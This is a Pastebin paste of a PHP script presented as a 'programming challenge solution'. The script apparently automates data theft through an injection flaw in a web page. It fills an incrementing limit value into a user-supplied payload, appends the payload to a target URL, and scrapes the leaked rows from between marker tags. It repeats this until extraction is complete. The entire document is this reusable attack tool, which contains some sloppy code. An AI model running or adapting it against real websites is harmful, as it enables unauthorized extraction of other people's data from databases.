Advertisement
bilasi

Diprendra Programming challenge Solution

Jun 27th, 2016
510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.96 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  
  5. $limit=$argv[2];
  6.  
  7. unset($argv[0]);
  8.  
  9.  
  10. if($argc<=1){
  11.     echo "Input something.";
  12. }
  13. else if($argc>=2){
  14. $input=$argv[1];
  15. /*
  16. hack for limiting
  17. $paylwa=$argv[3];
  18.  
  19. $paylwa=str_replace('$limit', "$limit", $argv[3]);
  20. echo "\n\n".strpos($paylwa, '$limit');
  21. */
  22.  
  23. }
  24. // crawl the contents for the first time
  25. function crwal($url){
  26. $chandle=curl_init();
  27. curl_setopt($chandle, CURLOPT_URL, $url);
  28. curl_setopt($chandle,CURLOPT_RETURNTRANSFER,true);
  29. return curl_exec($chandle);
  30. curl_close($chandle);
  31.  
  32.  
  33. }
  34. //crawling done
  35. //hack for limiting
  36. $paylo=$argv[3];
  37. $paylo=str_replace('$limit', "$limit", $paylo);
  38.  
  39. $paylo=str_replace('%22', '"', $paylo);
  40. //echo $paylo;
  41.  
  42.  
  43. $payload=urlencode($paylo);
  44. //payload done after limiting
  45.  
  46. @$fullurl=$input.$payload;
  47. echo "\n\n\nFull Query: ".$fullurl."\n\n\n";
  48. echo "..Fetching..";
  49. $fullurl=str_replace('%3F','?', $fullurl);
  50. $fullurl=str_replace('%3D','=', $fullurl);
  51.  
  52.  
  53. //
  54.  
  55.  
  56. $string=crwal($fullurl);   
  57. echo "\n";
  58. //cleaning the content to get the required part
  59. function parse(){
  60.     global $string;
  61.     $string=$string;
  62.         $parse=strpos($string,'<spanoid>');
  63.  
  64.  
  65.     $string=stristr($string,'<spanoid>');
  66.  
  67.  
  68.     $parse=stristr($string,'</spanoid>',1);
  69.  
  70.     $parse=str_replace('<spanoid>','',$parse);
  71.     $parse=str_replace('<br>',"\n",$parse);
  72.  
  73.     return $parse;
  74.  
  75. }
  76. //parsing done
  77.  
  78. $final=parse();
  79. echo $final;
  80. $length=strlen($final);
  81. //condition to continue getting contents
  82. while(strlen($length)!=0){
  83.    
  84.     $limit+=1;
  85.     $paylo=$argv[3];
  86.     $paylo=str_replace('$limit', "$limit", $paylo);
  87.     $paylo=str_replace('%22', '"', $paylo);
  88.     $payload=urlencode($paylo);
  89.    
  90.     //echo $limit;
  91.     //break;
  92.     @$fullurl=$input.$payload;
  93.    
  94.     $fullurl=str_replace('%3F','?', $fullurl);
  95.     $fullurl=str_replace('%3D','=', $fullurl);
  96.    
  97.     $string=crwal($fullurl);
  98.     echo "\n";
  99.     $final=parse();
  100.     echo "\n";
  101.    
  102.     $length=strlen($final);
  103.     if($length==0){
  104.         die("\n\nthe data extraction has been completed\n\n");
  105.     }
  106.    
  107.     echo $final;
  108.    
  109. }
  110.    
  111.  
  112.  
  113. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement